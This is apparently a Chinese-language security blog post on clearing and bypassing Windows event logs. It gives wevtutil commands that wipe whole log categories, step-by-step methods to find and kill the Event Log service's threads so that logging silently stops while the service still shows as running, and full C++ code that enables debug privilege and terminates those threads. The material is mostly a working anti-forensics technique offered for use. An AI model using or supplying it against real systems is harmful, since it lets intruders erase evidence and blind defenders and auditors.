Windows日志的清除與繞過
簡介
- 日志的清除
- 日志的繞過
分類
- 應用程序
- 安全
- setup
- 系統
- 轉發事件
日志查看方法
- 我的電腦右鍵-管理-計算機管理-管理工具-事件查看器
- control-管理工具-事件查看器
- 搜索
- eventvwr
- win10右鍵開始菜單-事件查看器
- powershell Get-winevent查看所有日志
清除方法
- wevtutil.exe
操作系統默認包含,win7及以上- 統計日志列表,查詢所有日志信息。
wevtutile.exe gli Application - 查看指定類型日志
wevtutil qe /f:text Application - 刪除該類日志所有內容
wevtutil cl Application
- 統計日志列表,查詢所有日志信息。
- NSA DanderSpiritz
相關鏈接:https://3gstudent.github.io/3gstudent.github.io/NSA-DanderSpiritz測試指南-木馬生成與測試/
Windows日志繞過方法
原理:
Windows日志對應於eventlog服務,找到該服務對應的進程svchost.exe,進而篩選出svchost.exe進程中具體實現日志功能的線程,調用TerminateThread結束線程,破壞日志記錄功能
特點:
由於只結束了實現日志功能的線程,所以Windows Event Log服務沒有被破壞,狀態仍為正在運行
繞過方法一:
- 定位eventlog服務對應進程svchost.exe的pid
- 遍歷該進程中的所有線程
- 判斷線程是否滿足條件Windows Event Log 服務需要調用wevtsvc.dll,完整路徑為%WinDir%\System32\wevtsvc.dll並且,如果線程調用了wevtsvc.dll,就可以判讀該線程實現了日志記錄功能
- 結束線程使用TerminateThread
注:
Halil Dalabasmaz@hlldz使用powershell實現了方法一,完整代碼可參考:https://github.com/hlldz/Invoke-Phant0mpowershell腳本執行后,Windows日志功能失效,無法記錄日志,操作如下圖
- 恢復方法結束進程svchost.exe重新開啟Windows Event Log 服務:net start eventlog
繞過方法二
- 定位eventlog服務對應進程svchost.exe的pidpowershell代碼如下:
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
-
遍歷該進程中的所有線程
使用PsList,下載地址:https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx
具體參數如下:
pslist.exe /accepteula -d 7008
獲取進程svchost.exe中的所有線程,如下圖
-
判斷線程是否滿足條件
獲取線程對應的服務,如果為eventlog,則滿足條件使用工具:ScTagQuery,下載地址:http://www.winsiderss.com/tools/sctagquery/sctagqry.zip
具體參數如下:
sctagqry.exe -t 7928
根據返回的結果Service Tag,判斷線程對應的服務找到對應eventlog的線程,如下圖
線程8136符合條件,依次嘗試,直到獲取所有符合條件線程
注:
使用Process Explorer可以簡化此過程找到eventlog服務對應進程svchost.exe如下圖
右鍵查看屬性,選擇Threads標簽,查看線程,可直接獲得線程對應的服務如下圖
符合條件的線程TID為:
- 8136
- 8052
- 6708
- 2316
- 6356
- 結束線程
調用TerminateThread通過c++實現,部分代碼如下:
/*
TerminateEventLogThread.cpp
Author:3gstudent@3gstudent
Use to terminate Event Log thread
*/
#include <windows.h>
BOOL SetPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES NewState;
LUID luidPrivilegeLUID;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID))
{
printf("SetPrivilege Error\n");
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
{
printf("AdjustTokenPrivilege Errro\n");
return FALSE;
}
return TRUE;
}
int main(int argc, char* argv[])
{
SetPrivilege();
printf("TerminateThread TID:\n");
for(int i=1;i<argc;i++)
{
printf("%s\n",argv[i]);
HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
if(TerminateThread(hThread,0)==0)
printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
CloseHandle(hThread);
}
return 0;
}
控制台支持傳入多個參數,向其傳入5個TID: 8136 8052 6708 2316 6356自動結束對應線程,日志功能失效
具體操作如下圖:
完整實現代碼https://github.com/3gstudent/Windwos-EventLog-Bypass
補充
- 安裝sysmon可對Windows日志功能進行擴展
參考:https://3gstudent.github.io/3gstudent.github.io/通過APC實現Dll注入-繞過Sysmon監控/ - 繞過方法僅針對windows日志
對應用程序和服務日志失效,例如Windows Powershell
文章摘自3gstudent博客